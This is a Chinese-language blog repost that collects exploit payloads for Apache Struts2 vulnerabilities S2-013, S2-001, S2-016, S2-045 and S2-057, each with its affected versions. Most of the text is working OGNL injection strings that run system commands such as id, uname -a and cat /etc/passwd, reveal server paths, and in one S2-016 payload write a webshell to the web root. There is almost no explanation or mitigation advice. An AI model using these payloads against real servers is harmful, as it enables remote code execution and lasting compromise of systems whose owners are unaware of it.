java struts2 漏洞_Struts2漏洞利用「建议收藏」

java struts2 漏洞_Struts2漏洞利用「建议收藏」Struts漏洞合集Struts-S2-013漏洞利用受影响版本Struts2.0.0-Struts2.3.14.1漏洞利用任意命令执行POC:${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream(),#b=newjava…

大家好,又见面了,我是你们的朋友全栈君。

Struts漏洞合集

Struts-S2-013漏洞利用

受影响版本

Struts 2.0.0 – Struts 2.3.14.1

漏洞利用

任意命令执行POC:

${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

或着

${#_memberAccess[“allowStaticMethodAccess”]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream())}

如:

http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(‘id’).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(‘dbapp%3D’%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

580fdc949fbe0f353949ec450283175a.png

Struts-S2-001漏洞利用

影响版本

Struts2.0.0 – Struts2.3.15

漏洞利用

获取tomcat执行路径:

%{“tomcatBinDir{“+@java.lang.System@getProperty(“user.dir”)+”}”}

8fbc66157c20d7ff373f7401d7d4ba7f.png

06abc8a7d184125aaea13569700505e7.png

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#response.println(#req.getRealPath(‘/’)),#response.flush(),#response.close()}

执行任意命令(命令加参数:new java.lang.String[]{“cat”,”/etc/passwd”}):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“pwd”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Struts-S2-016漏洞利用

影响版本

2.0.0 – 2.3.15

执行命令

redirect:${#context[“xwork.MethodAccessor.denyMethodExecution”]=false,#f=#_memberAccess.getClass().getDeclaredField(“allowStaticMethodAccess”),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec(“uname -a”).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

1c0ed1f7e7d537b6f7b09db5b8cd6625.png

获取Web目录

redirect:${#req=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’+’atcher.HttpSer’+’vletReq’+’uest’),#resp=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’+’atcher.HttpSer’+’vletRes’+’ponse’),#resp.setCharacterEncoding(‘UTF-8’),#ot=#resp.getWriter (),#ot.print(‘web’),#ot.print(‘path:’),#ot.print(#req.getSession().getServletContext().getRealPath(‘/’)),#ot.flush(),#ot.close()}

26bff0474cec7da61399311a2ceb1413.png

写入Webshell

redirect:${#context[“xwork.MethodAccessor.denyMethodExecution”]=false,#f=#_memberAccess.getClass().getDeclaredField(“allowStaticMethodAccess”),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletRequest”),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath(“/”)).append(@java.io.File@separator).append(“1.jspx”).toString()),#b.write(#a.getParameter(“t”).getBytes()),#b.close(),#genxor=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#genxor.println(“BINGO”),#genxor.flush(),#genxor.close()}

0091a0f158418fcf56f20927e98a9d2a.png

Struts-S2-045漏洞利用

影响版本

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

POC

%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘vulhub’,233*233)}.multipart/form-data

643d8d82fdf98f9cd68097817c7e5630.png

EXP

%{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’ls’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

3a784697be332e3d8595298b2e508c5b.png

Struts-S2-057漏洞利用

受影响版本

Struts 2.3 – 2.3.34

Struts 2.5 – 2.5.16

POC

$%7B233*233%7D

61e125c4155f7b6c849dddb66bed24aa.png

命令执行

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

7ceb0c41ba43cc64abaef2fe09372a2b.png

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161684.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Laravel获取所有的数据库表及结构

    Laravel获取所有的数据库表及结构

    2021年10月24日
    41
  • 两个元素的矩阵乘除法「建议收藏」

    矩阵的乘除法: 1 矩阵相乘,两个矩阵只有当左边的矩阵的列数等于右边矩阵的行数时,两个矩阵才可以进行矩阵的乘法运算 主要方法就是:用左边矩阵的第一行,逐个乘以右边矩阵的列,第一行与第一列各个元素的乘积相加,第一行与第二列的各个元素的乘积相加。。。。第二行也是,逐个乘以右边矩阵的列。。。。第三行。。。。。。。最后得出结果不明白的可以继续往下看   2…

    2022年4月4日
    65
  • python中数组(numpy.array)的基本操作「建议收藏」

    python中数组(numpy.array)的基本操作「建议收藏」 为什么要用numpy   Python中提供了list容器,可以当作数组使用。但列表中的元素可以是任何对象,因此列表中保存的是对象的指针,这样一来,为了保存一个简单的列表[1,2,3]。就需要三个指针和三个整数对象。对于数值运算来说,这种结构显然不够高效。   Python虽然也提供了array模块,但其只支持一维数组,不支持多维数组(在TensorFlow里面偏向于矩阵理解),也…

    2022年8月13日
    17
  • java jasypt_jasypt命令行工具的使用说明

    java jasypt_jasypt命令行工具的使用说明jasypt能够以很简单的方式为Java项目提供加密功能,这种简单的方式体现着它的命令行工具,与Spring,Hibernate,Springsecurity,wicket等第三方框架的集成。本文参加jasypt官方网站:http://www.jasypt.org/下载jasypt包,解压缩到本地目录。如下图:根目录:命令行工具目录:说明:在lib目录下是jasypt的核心jar和与第三方组件…

    2022年9月26日
    4
  • 华为 IP源防攻击和MAC认证

    华为 IP源防攻击和MAC认证文章目录一、拓扑二、IPSG三、MAC认证

    2022年6月15日
    65
  • PLSQL 安装教程「建议收藏」

    PLSQL 安装教程「建议收藏」PLSQL安装教程1、首先要有oracle数据库或者有oracle服务器,才可以实现使用PLSQLDeveloper工具连接到oracle数据库进行开发.2、新建文件夹,将客户端文件放到里面D:\khd\instantclient_11_2,在文件夹instantclient_11_2中自己新建NETWORK文件夹,进入NETWORK文件夹新建ADMIN文件夹,将tnsn…

    2022年6月16日
    42

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号